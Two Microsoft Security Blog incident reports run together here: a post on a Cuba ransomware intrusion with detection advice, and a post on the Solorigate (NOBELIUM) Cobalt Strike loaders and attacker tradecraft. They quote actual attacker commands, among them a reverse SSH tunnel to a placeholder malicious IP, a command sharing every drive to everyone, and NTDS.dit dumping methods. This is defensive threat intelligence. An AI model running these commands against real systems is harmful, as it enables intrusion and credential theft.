In this blog, we detail a recent ransomware incident in which the attacker used a collection of commodity tools and techniques, such as using living-off-the-land binaries, to launch their malicious code. Cobalt Strike was used for persistence on the network with NT AUTHORITY/SYSTEM (local SYSTEM) privileges to maintain access to the network after password resets of compromised accounts.

This incident highlights an attacker’s ability to have a longstanding dwell time on a network before deploying ransomware. We will also discuss the various techniques used as well as the recommended detections and defense techniques that customers can use to increase protection against these types of attacks.

Microsoft recommends hunting proactively for pre-ransomware behaviors and hardening your network to prevent impact. Refer to https://aka.ms/ransomware-as-a-service for more information about defending against ransomware-related incidents.

What we found

Initial access

DART was unable to determine the initial entry vector of this attack due to the age of this compromise and limited retention of security solutions, along with encrypted devices being reimaged before analysis. The earliest observed activity showed the actor with domain administrator credentials.

Persistence

In DART’s post ransomware investigation of this engagement, the team found multiple instances of scheduled tasks and services being created by the attack for persistence after they had gained access to highly privileged credentials. Services and Scheduled Tasks have the option to run as NT AUTHORITY\System, allowing their malicious code to run with highly privileged access. Because the actor created those tasks and services on a domain controller, the Local SYSTEM access allowed them to easily access domain administrator accounts. The deployment of a backdoor to a domain controller can help an actor bypass common incident response recovery activity, such as resetting compromised accounts, in the hope of staying resident on the network.

Service: Cobalt Strike

Cobalt Strike was seen on a large scale across the network, on domain controllers, servers, and administrator workstations. The actor created Windows services to persist their payload executing rundll32 to load the Cobalt Strike DLL through invoking the “AllocConsole” exported function of a variation of the Termite family of malware. These services were observed to execute with a combination of SYSTEM and domain administrator credentials. Termite malware is often used by crimeware groups to load Cobalt Strike while bypassing antivirus detections. Further information on the Termite malware family can be found in this blog: (Ex)Change of Pace: UNC2596 Observed Leveraging Vulnerabilities to Deploy Cuba Ransomware.

The Cobalt Strike DLLs were in C:\Windows\Temp and used a naming scheme based on the first and local octet of the command and control (C2). Once the actor installed Cobalt Strike on a domain controller, the malware was spread using a PowerShell script, which copied the DLL to C:\Windows\Temp via SMB, and then executed it through remote service creation.

The actor elevated their permissions to “NT AUTHORITY\System” through service creation. This service creation was likely done through Cobalt Strike, using a pseudorandom service name, such as “4aedb00”.

Scheduled task: OpenSSH

The actor installed OpenSSH on the client’s network to maintain persistence on critical servers, including domain controllers and domain administrator workstations. The actor installed OpenSSH within C:\Windows\OpenSSH, rather than the standard OpenSSH path in System32.

The actor created a scheduled task for a persistent SSH connection to their C2 as “NT AUTHORITY\System”. The actor used TCP 443 for their SSH traffic rather than the standard TCP 22. In many organizations, TCP 22 outbound may be blocked, but as TCP 443 is needed for web traffic the port is often open. The actor also enabled port forwarding on TCP 7878 to allow the tunneling of malicious tools through the SSH connection.

The actor was also observed renaming ssh.exe to “C:\Windows\OpenSSH\svchost.exe” in a likely attempt to evade detection.

Four days after the actor deployed the ransomware, the actor returned to the compromised network through their existing OpenSSH persistence to install further persistence SSH services on additional domain controllers and domain administrator workstations.

The actor used OpenSSH’s sftp-server to transfer files between their C2 and the compromised host. The actor generated SSH keys on compromised hosts using ssh-keygen.exe, a tool apart of the OpenSSH tool suite. This allowed the actor to SSH using the keys rather than credentials, after credentials had been reset.

Lateral movement

Impacket (WMI)

Impacket’s WMI modules were used throughout the early stages of the compromise for remote execution and discovery. Impacket is an open-source collection of scripts for working with network protocols. This toolkit has recently been used by a large variety of crimeware groups for lateral movement and network discovery.

The actor used Impacket to execute PowerShell scripts out of “C:\Perflogs\”, which created .txt files within the same directory. All commands executed through Impacket output the results of the command to “\\127.0.0.1\ADMIN$\__1648051380.61”. The actor then deleted the PowerShell scripts and text files after execution.

The actor also used Impacket to test if the destination server was able to ping the actor’s C2 before deploying Cobalt Strike to the device.

PsExec

The actor used PsExec.exe to spread the ransomware on the victims’ network. The actor first executed “open.bat”, which executed “net share [C-Z]=[C-Z]:\ /grant:everyone,FULL”. This shared every drive on the host, granting access to everyone. “A.exe”, “Anet.exe”, and “Aus.exe” are all variants of the Cuba ransomware.

Remote desktop protocol

While the attacker had access to lateral movement and remote code execution via Impacket and PsExec, the main method they used for lateral movement in this incident was Remote Desktop Protocol (RDP), which allowed them to use a GUI environment to change system settings and install malware. The actor used domain administrator accounts to RDP between devices.

Credential access

WDigest

The actor abused WDigest to cache credentials early in the compromise. This enabled the actor to gain access to domain administrator credentials.

WDigest is a Windows feature that when enabled, caches credentials in clear text. This is often abused by credential access tools, such as Mimikatz. To detect if WDigest has been enabled within your network, the registry key HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential will be set to 1. This can be disabled by setting the value to 0.

NTDSUtil Dumping

The actor obtained the Active Directory database (NTDS.dit) twice. On the first instance, the actor obtained the NTDS.dit five months into the compromise. Four days after the deployment of ransomware, the actor obtained the NTDS.dit a second time. The actor was able to create a copy of the NTDS.dit through the usage of the native tool ntdsutil.exe, copying the .dit to “C:\Windows\Temp\data\audit\Active Directory\ntds.dit”.

Volume shadow copy access

The actor used a second method to obtain the Active Directory database, they used “vssadmin” to create a volume shadow copy of a domain controller. This technique creates a static copy of system files that a user would not typically be able to access. Once the volume shadow copy was created, the actor copied the NTDS.dit, SYSTEM hive and SECURITY hive to C:\Windows\, where they could then remotely copy through the ADMIN$ share.

Exfiltration

Compression

The actor was observed using 7-Zip to compress files before exfiltration. 7z.exe was executed out of C:\Windows\Temp. The actor did not include a password for the archive and used the device hostname as the name of the archive (for example: DC01.7z).

PSCP

The actor used PuTTY Secure Copy (PSCP) to remotely exfiltrate network shares to an actor controlled C2. This version of PSCP had been renamed to “lsas.exe” in an attempt to masquerade itself as the legitimate “lsass.exe” service. PSCP was executed out of C:\Windows\Temp. The actor targeted Staff and Financial related resources.

Defense evasion

Disabling antivirus

The actor disabled Microsoft Defender Antivirus on multiple devices after files had been quarantined by the antivirus. The actor turned off Microsoft Defender Antivirus through the Windows Security GUI application while connected via RDP to the device.

Kernel driver

The actor used an Avast anti-rootkit driver. Unit 42 recently released a blog on how Cuba ransomware groups have used this driver to disable antivirus software before deploying the Cuba ransomware.

The actor installed the driver using the “sc” command, enabling kernel-level permissions. The actor then started the service with “sc start aswSP-ArPot2”. This service was used by the actor to disable the victims’ antivirus products through Kernel privileges. Antivirus products being disabled within the victim network ensured that their ransomware would spread without the malware being quarantined or prevented.

The actor also created benign binaries to trigger the driver vulnerability. These binaries would iterate through a list of common antivirus executable names, providing each one to the control code 0x9988C094 and subsequently tasking the driver to kill those processes.

Discovery

The actor was observed executing generic system enumeration commands. While these commands are not malicious, when seen together, it can often indicate an unauthorized user is enumerating the system.

The actor was seen executing the following commands:

• whoami
• ping 8.8.8.8
• TASKLIST /v
• sc queryex type=service state=all
• wevtutil el
• SYSTEMINFO
• dsquery user -limit 100000
• powershell  -command “Get-ADUser -Filter * -Properties * | Out-File C:\Windows\Temp\data\domain_user.txt -Append”
• powershell  -command “Get-ADComputer -Filter * -Properties * | Out-File C:\Windows\Temp\data\domain_pc.txt -Append”
• wmic  useraccount list full

Recommended detection and defense strategies

As we observe more attacks using similar methods as described in this blog, organizations must ensure they follow security practices to defend their servers. The following is a list of recommendations for monitoring that organizations should implement as part of their detection strategy.

Service creation

Service creation events should be monitored for anomalous events. A high priority alert should be placed on administrator accounts creating services that execute as System. This is a common privilege escalation technique that can be utilized in a variety of methods, including having the service.

1. Execute a malicious binary directly,
2. Write to an actor controlled Named Pipe, allowing the actor to steal an impersonation token,
3. Executing a DLL through rundll32.exe

New service creations should be monitored for anomalous paths or executables. High priority alerts should be made for drivers located within those anomalous paths. While the driver was legitimately signed, the location can be a sign of malicious use. Examples of anomalous paths include but are not limited to:

• C:\Temp\
• C:\ProgramData\
• C:\Windows\
• C:\Windows\Temp\

Use of SSH

Microsoft recommends monitoring for unauthorized installations and usage of SSH in your network. SSH should not run as “NT AUTHORITY\System”.

In this incident, the actor used the following SSH command lines. Similar activity should be monitored within your environment:

ssh <organization>@<malicious IP address> -p 443 -i C:\ProgramData\ssh\id_ed25519 -R <malicious IP address>:10129:127.0.0.1:7878 -N -C -o IdentitiesOnly=yes -o StrictHostKeyChecking=no

The actor attempted to masquerade the SSH process as “svchost.exe”, so monitoring for the command on other process names may indicate process masquerading.

Copying to remote share

Microsoft recommends monitoring for the command prompt accessing remote shares. This was a common technique used by the actor for transferring files throughout the network.

Microsoft Defender for Endpoint will create an alert when the command prompt accesses remote shares. This includes the Impacket usage where the command targets the localhost ADMIN$ share. Monitoring these alerts within your network can help detect unauthorized access.

PsExec

Networks should monitor for unauthorized usage of PsExec. Suggested detection techniques include:

1. Existence or execution of the binary: PsExec.exe
2. Existence or execution of the service binary: PsExeSvc.exe
3. Service creation named PsExeSvc
4. Named Pipes created with the name PsExeSvc

The techniques that PsExec uses can easily be replicated, either through living-off-the-land tools or through a custom toolset using the Windows API. Monitoring for each stage of PsExec can help detect unauthorized variants within your network. PsExec works in three stages:

1. SMB connection to ADMIN$ on the destination device, copying the binary “PSEXESVC” to the Windows directory.
2. Remote connection to RPC (port 135) on the destination device, creating a service to execute the binary.
3. Create the named pipe \\.\pipe\PSEXESVC to remotely communicate between host and destination.

Monitoring executable files being written to administrative shares may help detect attempts of lateral movement. This can include monitoring for native command lines, such as copy, targeting remote shares like what we mentioned above. Defender for Endpoint can be used to monitor file creation events via Server Message Block (SMB) through DeviceFileEvents. The executable file will be created by the ntoskrnl.exe process, which is the kernel process that manages SMB, and the ShareName column will be ADMIN$.

Anomalous remote connections to RPC (Port 135) should be monitored within the network, as this can be used by a process to remotely create and start a service. The summarize and sort operators within Defender for Endpoint’s Advanced Hunting can help detect uncommon connections on Port 135. The following KQL can help build a basis for identifying anomalous connections:

DeviceNetworkEvents
| where RemotePort == 135
| summarize count() by InitiatingProcessFileName
| sort by count_ asc

This technique can also be replicated through remote service creation using named pipes. An actor can remotely connect to the IPC$ share and open the named pipe svcctl to remotely create a service. This would contain similar detections, except the traffic will be over port 445 to the IPC$ share.

On the destination end, the RPC connection will result in the creation of a service. Monitoring for unauthorized service creation can be done through capturing the 4679 event in the System event log.

Remote named pipe communication can be monitored through the creation of the named pipe on the destination server. PsExeSvc.exe will create a named pipe called PSEXESVC, which the host device can connect to through the IPC$ share. As the host device connection is through SMB, the ntoskrnl.exe process will connect to the named pipe as a client.

NTDS.dit dumping

Monitor the usage of ntdsutil for malicious instances, where actors may attempt to obtain the NTDS.dit. The command in the NTDS.dit dumping section shows how the actor used this tool to create a copy of the NTDS.dit. This command can be monitored, with the path being the only variable that will change. There are limited legitimate reasons to create a full NTDS.dit copy.

Defender for Endpoint alerts on the dumping of the NTDS.dit, and these alerts should be responded to with high priority. Monitoring for the unauthorized usage of the “ntdsutil” tool is strongly encouraged as well.

If your network has file monitoring enabled, alerting on the creation of new .dit files can also help detect potential NTDS.dit dumping. The actor was observed copying the NTDS.dit out of a volume shadow copy.

Antivirus tampering

Organizations should monitor and respond to antivirus and endpoint detection and response (EDR) alerts where antivirus has been disabled or tampered with. Wherever possible, anti-tampering settings should be enabled to prevent actors from being able to interact with and disable antivirus software. For more information about Defender for Endpoint tamper protection, visit our docs page: Protect security settings with tamper protection.

Microsoft Defender Antivirus provides event logging on attempted tampering of the product. This can include the disabling of services, such as Real Time Protection (Event ID: 5001). An alert will also be created within the Defender for Endpoint portal where customers have the ability to further triage the alert through the advanced hunting interface. Monitoring for the usage of the Windows PowerShell cmdlet can also help discover instances of anti-virus tampering.

Remote desktop protocol

DART was able to detect actor RDP connections through anomalous connections. These anomalous connections include:

• Domain administrators logging into multiple servers for the first time, and
• Domain administrators initiating RDP connections from abnormal locations.

Domain and enterprise administrator logons should be audited for anomalous connections, including connections originating from edge servers or onto servers that they do not usually administrate. Multifactor authentication (MFA) should be enforced for administrator accounts.

Conclusion

Ransomware groups continue to grow in sophistication through the increasing hibernation times before encryption, large varieties of persistent access and the use of legitimate signed binaries. These groups continue to target sensitive data for exfiltration, with some groups returning to the network post-encryption to ensure they maintain a foothold on the network.

Networks must remain vigilant hunting for these TTPs and anomalous behaviors. The Cuba ransomware group used a large variety of living of the land techniques to help evade detection by antivirus products. This requires a stronger focus on anomaly and behavioral detections for hunting on a network, rather than standard malicious file detection. Software auditing of remote access tools and remote execution tools, such as PsExec and SSH, should be regularly evaluated.

Microsoft strongly recommends focusing on the following actions to help improve your network’s security posture:

• Enabling tamper protection on antivirus products.
• Triage high severity antivirus and EDR alerts within a timely manner, including tampering alerts.
• Enable MFA and monitoring for administration accounts.
• Monitoring anomalies in service and scheduled task creation.

To understand how Microsoft can help you secure your network and respond to network compromise, visit https://aka.ms/DART.

The post Defenders beware: A case for post-ransomware investigations appeared first on Microsoft Security Blog.

UPDATE: Microsoft continues to work with partners and customers to expand our knowledge of the threat actor behind the nation-state cyberattacks that compromised the supply chain of SolarWinds and impacted multiple other organizations. Microsoft previously used ‘Solorigate’ as the primary designation for the actor, but moving forward, we want to place appropriate focus on the actors behind the sophisticated attacks, rather than one of the examples of malware used by the actors. Microsoft Threat Intelligence Center (MSTIC) has named the actor behind the attack against SolarWinds, the SUNBURST backdoor, TEARDROP malware, and related components as NOBELIUM. As we release new content and analysis, we will use NOBELIUM to refer to the actor and the campaign of attacks.

More than a month into the discovery of Solorigate, investigations continue to unearth new details that prove it is one of the most sophisticated and protracted intrusion attacks of the decade. Our continued analysis of threat data shows that the attackers behind Solorigate are skilled campaign operators who carefully planned and executed the attack, remaining elusive while maintaining persistence. These attackers appear to be knowledgeable about operations security and performing malicious activity with minimal footprint. In this blog, we’ll share new information to help better understand how the attack transpired. Our goal is to continue empowering the defender community by helping to increase their ability to hunt for the earliest artifacts of compromise and protect their networks from this threat.

We have published our in-depth analysis of the Solorigate backdoor malware (also referred to as SUNBURST by FireEye), the compromised DLL that was deployed on networks as part of SolarWinds products, that allowed attackers to gain backdoor access to affected devices. We have also detailed the hands-on-keyboard techniques that attackers employed on compromised endpoints using a powerful second-stage payload, one of several custom Cobalt Strike loaders, including the loader dubbed TEARDROP by FireEye and a variant named Raindrop by Symantec.

One missing link in the complex Solorigate attack chain is the handover from the Solorigate DLL backdoor to the Cobalt Strike loader. Our investigations show that the attackers went out of their way to ensure that these two components are separated as much as possible to evade detection. This blog provides details about this handover based on a limited number of cases where this process occurred. To uncover these cases, we used the powerful, cross-domain optics of Microsoft 365 Defender to gain visibility across the entire attack chain in one complete and consolidated view.

We’ll also share our deep dive into additional hands-on-keyboard techniques that the attackers used during initial reconnaissance, data collection, and exfiltration, which complement the broader TTPs from similar investigative blogs, such as those from FireEye and Volexity.

The missing link: From the Solorigate backdoor to Cobalt Strike implants

An attack timeline that SolarWinds disclosed in a recent blog showed that a fully functional Solorigate DLL backdoor was compiled at the end of February 2020 and distributed to systems sometime in late March.  The same blog also said that the attackers removed the Solorigate backdoor code from SolarWinds’ build environment in June 2020.

Considering this timeline and the fact that the Solorigate backdoor was designed to stay dormant for at least two weeks, we approximate that the attackers spent a month or so in selecting victims and preparing unique Cobalt Strike implants as well as command-and-control (C2) infrastructure. This approximation means that real hands-on-keyboard activity most likely started as early as May.

The removal of the backdoor-generation function and the compromised code from SolarWinds binaries in June could indicate that, by this time, the attackers had reached a sufficient number of interesting targets, and their objective shifted from deployment and activation of the backdoor (Stage 1) to being operational on selected victim networks, continuing the attack with hands-on-keyboard activity using the Cobalt Strike implants (Stage 2).

Figure 1. Timeline of the protracted Solorigate attack

But how exactly does this jump from the Solorigate backdoor (SUNBURST) to the Cobalt Strike loader (TEARDROP, Raindrop, and others) happen? What code gets triggered, and what indicators should defenders look for?

Figure 2. Diagram of transition between Stage 1 and Stage 2 of the Solorigate attack

Sophisticated attackers like those behind Solorigate have a goal of expansion and stealthy persistence to maximize the amount of time they can remain undetected and collect valuable information. It’s important for organizations to be able to look at forensic data across their entire environment to see how far attackers have traversed the network and how long they were there, in order to have confidence that attacks have been properly remediated from the environment. The best way to do that is with an extended detection and response (XDR) solution that enables organizations to replay past events to look for activity that might reveal the presence of an attacker on the network. Affected organizations without an XDR solution like Microsoft 365 Defender in place will have a difficult job of performing incident response.

What we found from our hunting exercise across Microsoft 365 Defender data further confirms the high level of skill of the attackers and the painstaking planning of every detail to avoid discovery. To illustrate, the following diagram shows the entry vector attack chain at a glance:

Figure 3. Transition from Solorigate backdoor to Cobalt Strike

We spent countless hours investigating Microsoft Defender telemetry and other signals from potential patient-zero machines running the backdoored version of SolarWinds DLL. Most of these machines communicated with the initial randomly generated DNS domain .avsvmcloud.com but without significant activity (step #1). However, we saw limited cases in May and June where the initial DNS network communication was closely followed by network activity on port 443 (HTTPS) to other legit-looking domains (step #7). On these handful of machines, we performed deep inspection of telemetry.

We know that the Solorigate backdoor only activates for certain victim profiles, and when this happens, the executing process (usually SolarWinds.BusinessLayerHost.exe) creates two files on disk (step #2):

• A VBScript, typically named after existing services or folders to blend into legitimate activities on the machine
• A second-stage DLL implant, a custom Cobalt Strike loader, typically compiled uniquely per machine and written into a legitimate-looking subfolder in %WinDir% (e.g., C:\Windows)

At this point the attackers are ready to activate the Cobalt Strike implant. However, the attackers apparently deem the powerful SolarWinds backdoor too valuable to lose in case of discovery, so they tried to separate the Cobalt Strike loader’s execution from the SolarWinds process as much as possible. Their hope is that, even if they lose the Cobalt Strike implant due to detection, the compromised SolarWinds binary and the supply chain attack that preceded it are not exposed.

The attackers achieved this by having the SolarWinds process create an Image File Execution Options (IFEO) Debugger registry value for the process dllhost.exe (step #3). This is a known MITRE ATT&CK technique used for persistence, but it could also be abused to trigger execution of malicious code when a certain process is launched. Once the registry value is created, the attackers simply wait for the occasional execution of dllhost.exe, which might happen naturally on a system. This execution triggers a process launch of wscript.exe configured to run the VBScript file dropped in step #4.

The VBScript in turn runs rundll32.exe, activating the Cobalt Strike DLL (step #5) using a clean parent/child process tree completely disconnected from the SolarWinds process. Finally, the VBScript removes the previously created IFEO value to clean up any traces of execution (step #6) and also deletes the following registry keys related to HTTP proxy:

• HKEY_CURRENT_USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoDetect
• HKEY_CURRENT_USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL

Analyzing the custom Cobalt Strike loaders

In our investigation, we identified several second-stage malware, including TEARDROP, Raindrop, and other custom loaders for the Cobalt Strike beacon. During the lateral movement phase, the custom loader DLLs are dropped mostly in existing Windows sub-directories. Below are some example paths (additional paths are listed at the end of this blog):

• C:\Windows\ELAMBKUP\WdBoot.dll
• C:\Windows\Registration\crmlog.dll
• C:\Windows\SKB\LangModel.dll
• C:\Windows\AppPatch\AcWin.dll
• C:\Windows\PrintDialog\appxsig.dll
• C:\Windows\Microsoft.NET\Framework64\sbscmp30.dll
• C:\Windows\Panther\MainQueueOnline.dll
• C:\Windows\assembly\GAC_64\MSBuild\3.5.0.0__b03f5f7f11d50a3a\msbuild.dll
• C:\Windows\LiveKernelReports\KerRep.dll

The files have names that resemble legitimate Windows file and directory names, once again demonstrating how the attackers attempted to blend in the environment and hide in plain sight:

TEARDROP, Raindrop, and the other custom Cobalt Strike Beacon loaders observed during the Solorigate investigation are likely generated using custom Artifact Kit templates. Each custom loader loads either a Beacon Reflective Loader or a preliminary loader that subsequently loads the Beacon Reflective Loader. Reflective DLL loading is a technique for loading a DLL into a process memory without using the Windows loader.

Figure 4. Structure of the two variants of Cobalt Strike Beacon loaders observed in Solorigate attacks

In the succeeding sections, we discuss the Cobalt Strike Beacon variants we observed in our Solorigate investigations.

Variant 1: TEARDROP

To date, Microsoft has analyzed two versions of the second-stage custom Cobalt Strike Beacon loader known as TEARDROP (detected as Trojan:Win64/Solorigate.SA!dha by Microsoft):

• A service DLL (loaded by svchost.exe) with a ServiceMain function typically named NetSetupServiceMain
• A standard non-Service DLL loaded by rundll32.exe

Irrespective of the loading methodology, both versions have an export function that contains the trigger for the malicious code. The malicious code is executed in a new thread created by the export function. Upon execution, the malicious code attempts to open a file with a .jpg extension (e.g., festive_computer.jpg, upbeat_anxiety.jpg, gracious_truth.jpg, and confident_promotion.jpg). Further analysis is required to determine the purpose and role of the .jpg file referenced by each sample. The code also checks the presence of the Windows registry key SOFTWARE\Microsoft\CTF and terminates if the registry key is present or accessible. Next, the code proceeds to decode and subsequently execute an embedded custom preliminary loader.

Figure 5. Structure of Variant 1 custom loader

The preliminary loader used by this variant of custom loader is typically generated using a Cobalt Strike Artifact Kit template (e.g., bypass-pipe.c):

Figure 6. Disassembled function from preliminary loader compiled from Artifact Kit’s bypass-pipe.c template

In its true form, the custom Artifact Kit-generated preliminary loader is a DLL that has been transformed and loaded like shellcode in memory. The preliminary loader is responsible for loading the next-stage component, which is a Beacon Reflective Loader/DLL (Cobalt Strike Beacon is compiled as a reflective DLL). The Reflective Loader ultimately initializes and executes Beacon in memory.

Variant 2: Additional custom loaders

In our investigations, we came across additional custom loaders for Cobalt Strike’s Beacon that appear to be generated using custom Cobalt Strike Artifact Kit templates. Unlike TEARDROP, in which the malicious code is triggered by an export function, the malicious code in these variants is triggered directly from the DLL’s entry point, which creates a new thread to execute the malicious code. These Variant 2 custom loaders also contain an attacker-introduced export (using varying names) whose only purpose is to call the Sleep() function every minute.

Figure 7. Example of a custom export function from a Variant 2 loader

Additionally, unlike TEARDROP, these variants do not contain a custom preliminary loader, meaning the loader DLL de-obfuscates and subsequently executes the Cobalt Strike Reflective DLL in memory.

Figure 8. Structure of Variant 2 custom Loader

These custom loaders can be further divided into two types:

• Type A: A set of large DLLs that decode and load the Cobalt Strike Reflective Loader from the DLL’s DATA section (detected as Trojan:Win64/Solorigate.SC!dha by Microsoft)
• Type B: A set of smaller DLLs that de-obfuscate and load the Reflective Loader from the DLL’s CODE section (also referred to as Raindrop by Symantec, detected as Trojan:Win64/Solorigate.SB!dha by Microsoft)

Figure 9. Two subtypes of the custom Loader

The ultimate goal of both Type A and B loaders is to de-obfuscate and load a Cobalt Strike Reflective Loader in memory. Type A loaders use a simple rolling XOR methodology to decode the Reflective Loader, while Type B loaders (Raindrop) utilize a combination of the AES-256 encryption algorithm (unique key per sample), LZMA compression, and a single-byte XOR decoding routine to de-obfuscate the embedded Reflective Loader in memory. At the conclusion of the de-obfuscation process, both variants proceed to load the Reflective Loader in memory, which subsequently executes Cobalt Strike Beacon in memory.

Forensic observations about the Solorigate Cobalt Strike loaders

Metadata and timeline analysis of the custom loaders, combined with analysis of the configuration data extracted from each Beacon payload, led to following discoveries:

• The custom loader DLLs were introduced to compromised systems between the hours of 8:00 AM and 5:00 PM UTC. In one intrusion, the first second-stage custom loader (TEARDROP) was introduced to the environment by BusinessLayerHost.exe at around 10:00 AM UTC.
• The custom loader DLLs dropped on disk carried compile timestamps ranging from July 2020 to October 2020, while the embedded Reflective DLLs carried compile timestamps ranging from March 2016 to November 2017. The presence of 2016-2017 compile timestamps is likely due to attackers’ usage of custom Malleable C2 profiles with synthetic compile timestamp (compile_time) values. At first glance it would appear as if the actor did not timestamp the compile time of the custom loader DLLs (2020 compile timestamps). However, forensic analysis of compromised systems revealed that in a few cases, the timestamp of the custom loader DLLs’ introduction to systems predated the compile timestamps of the custom loader DLLs (i.e., the DLLs appear to have been compiled at a future date).
• Both Variant 1 and 2 custom loader DLLs were configured with PE version information that masquerades version information belonging to legitimate applications and files from Windows (e.g., DLL), 7-Zip (e.g., 7z.dll), Far Manager (e.g., Far.dll), LibIntl (e.g., libintl3.dll), and other legitimate applications. The Variant 2 custom loaders were mostly compiled from open-source source code of legitimate applications, such as 7-Zip and Far Manager (i.e., the open-source source code for these applications was modified to add in the malicious code). In some instances, certain development artifacts were left behind in the custom loader samples. For example, the following C++ header (.hpp) path was observed in a loader compiled from a modified Far Manager open-source source code (c:\build\workspace\cobalt_cryptor_far (dev071)\farmanager\far\platform.concurrency.hpp):

Figure 10. File path for a C++ header file (.hpp) observed in custom Cobalt Strike loader samples

• Each custom loader DLL contains a designated PE export function that either triggers the malicious functionality of the loader (in Variant 1) or calls the Sleep() function (Variant 2). A non-comprehensive list of these PE export function names (one per loader DLL) is included below (note the repeating “Tk” prefix in the export names that can be a useful indicator for hunting purposes):

• In addition to the attackers dropping the custom loaders in unique locations on each system during the lateral movement phase, most Beacon and Reflective Loader instances discovered during our investigation were configured with a unique C2 domain name, unique Watermark ID, unique PE compile timestamp, PE Original Name (), DNS Idle IP (e.g., 84[.]200[.]70[.]40 , 208[.]67[.]220[.]220, 208[.]67[.]222[.]222, 9[.]9[.]9[.]9, and 8[.]8[.]4[.]4), unique User-Agent and HTTP POST/GET transaction URI, sleep time, and jitter factor. This is notable since no two Beacon instances shared the same C2 domain name, Watermark, or other aforementioned configuration values. Other than certain internal fields, most Beacon configuration fields are customizable via a Malleable C2 profile. If the actor did indeed use custom Malleable C2 profiles, as evidenced in the list above, the profiles varied greatly for Beacon instances used during different lateral movement campaigns within the same network. As mentioned above, each Beacon instance carries a unique Watermark value. Analysis of the Watermark values revealed that all Watermark values start with the number ‘3’, for example:

• As for post-exploitation artifacts, the observed Beacon instances were configured to use different “spawnto” values, which Cobalt Strike uses to spawn a temporary process and inject its post-exploitation-related components or features into the spawned process. This detail could be valuable for hunting process creation events originated by exe. Below are some example paths used by the observed Beacon instances:
  • %WINDIR%\System32\conhost.exe
  • %WINDIR%\System32\control.exe
  • %WINDIR%\System32\dllhost.exe
  • %WINDIR%\System32\help.exe
  • %WINDIR%\System32\LogonUI.exe
  • %WINDIR%\System32\msiexec.exe
  • %WINDIR%\System32\print.exe
  • %WINDIR%\SysWOW64\audiodg.exe
  • %WINDIR%\SysWOW64\help.exe
  • %WINDIR%\SysWOW64\msiexec.exe
  • %WINDIR%\SysWOW64\msinfo32.exe
  • %WINDIR%\SysWOW64\print.exe
  • %WINDIR%\SysWOW64\WerFault.exe

Additional attacker tactics, anti-forensic behavior, and operational security

As mentioned, the attackers behind Solorigate are skillful and methodic operators who follow operations security (OpSec) best practices to minimize traces, stay under the radar, and avoid detection.

During our in-depth analysis of the attacker’s tactics, techniques, and procedures (TTPs) seen through the lens of Microsoft 365 Defender’s rich telemetry, we observed a few techniques that are worth disclosing to help other defenders better respond to this incident and use hunting tools like Microsoft 365 Defender advanced hunting or Azure Sentinel queries to search for potential traces of past activity.

Some examples of why these attackers stand out for their professional OpSec methodology and anti-forensic behavior are listed below:

• Methodic avoidance of shared indicators for each compromised host. As discussed in the previous section, each Cobalt Strike DLL implant was prepared to be unique per machine and avoided at any cost overlap and reuse of folder name, file name, export function names, C2 domain/IP, HTTP requests, timestamp, file metadata, config, and child process launched. This extreme level of variance was also applied to non-executable entities, such as WMI persistence filter name, WMI filter query, passwords used for 7-zip archives, and names of output log files. Applying this level of permutations for each individual compromised machine is an incredible effort normally not seen with other adversaries and done to prevent full identification of all compromised assets inside a network or effective sharing of threat intel between victims.
• Camouflage and blending into the environment. Tools and binaries used by the attackers (e.g., ADFIND legit tool) were always renamed and placed in folders that mimicked existing programs and files already present on a machine. This blending was not just used for files, but for other elements. For example, WMI persistence filters were created with names and queries matching other scripts present in affected organizations.
• Before running intensive and continued hands-on keyboard activity, the attackers took care of disabling event logging using AUDITPOL and re-enabling it afterward.
• In a similar way, before running noisy network enumeration activities (such as repeated NSLOOKUP or LDAP queries), the attackers carefully prepared special firewall rules to minimize outgoing packets for certain protocols. The firewall rules were also methodically removed after the network reconnaissance was completed.
• Lateral movement activities were never executed without preparation. To increase the likelihood that their activities remain undetected, the attackers first enumerated remote processes and services running on the target host and decided to move laterally only after disabling certain security services.
• We believe that the attackers used timestomping to change timestamps of artifacts and also leveraged professional wiping procedures and tools to complicate finding and recovering of DLL implants from affected environments.

See some of the most interesting and unique TTPs in the table below. In most cases, commands and tools are executed via an intermediate “cmd.exe /C” process launched from the Cobalt Strike main parent process. We are actively working with MITRE to make sure that any novel technique emerging from this incident is documented in future updates of the ATT&CK framework.

Conclusion

As we continue to gain deeper understanding of the Solorigate attack, we get a clearer picture of the skill level of the attackers and the extent of planning they put into pulling off one of the most sophisticated attacks in recent history. The combination of a complex attack chain and a protracted operation means that defensive solutions need to have comprehensive cross-domain visibility into attacker activity and provide months of historical data with powerful hunting tools to investigate as far back as necessary.

Modern attacks like Solorigate highlight the need for organizations to use advanced security solutions like Microsoft 365 Defender and Azure Sentinel and operate security response under an “assume breach” mentality. Microsoft 365 Defender harnesses the power of multiple capabilities and coordinates protection across domains to provide comprehensive defense. Azure Sentinel collects data from multiple data sources, including Microsoft 365 Defender, to connect data together and allow broad hunting for attacker activity.

In our ongoing forensic analysis of known Solorigate cases with malicious activity occurring between May and November 2020, we have in some instances seen the following relevant alerts generated by Microsoft Defender for Endpoint and Microsoft Defender for Identity. Incident responders and defenders investigating Solorigate incidents during that timeframe can refer to these alerts, alone or in combination, as potential indicators of the Solorigate activity.

Microsoft Defender for Endpoint alerts:

• Low-reputation arbitrary code executed by signed executable
• Suspicious ‘Atosev’ behavior was blocked
• Suspicious Remote WMI Execution
• A WMI event filter was bound to a suspicious event consumer

Microsoft Defender for Identity alerts:

• User and IP address reconnaissance (SMB)
• Suspected Kerberos SPN exposure

Figure 11. Alert raised by Microsoft Defender for Endpoint on Solorigate-related malicious activity in June 2020

The disclosure of the Solorigate attack and the investigations that followed unearthed more details and intelligence that we used to improve existing detections and build new ones. Security operations teams looking to get a comprehensive guide on detecting and investigating Solorigate can refer to Using Microsoft 365 Defender to protect against Solorigate.

Meanwhile, security administrators can use the recommendations for hardening networks against Solorigate and similar sophisticated cyberattacks outlined in Increasing resilience against Solorigate and other sophisticated attacks with Microsoft Defender.

To get the latest information and guidance from Microsoft, visit https://aka.ms/solorigate.

Microsoft 365 Defender Research Team

Microsoft Threat Intelligence Center (MSTIC)

Microsoft Cyber Defense Operations Center (CDOC)

Indicators of compromise (IoCs)

Custom Cobalt Strike Beacon loader (SHA-256):

118189f90da3788362fe85eafa555298423e21ec37f147f3bf88c61d4cd46c51
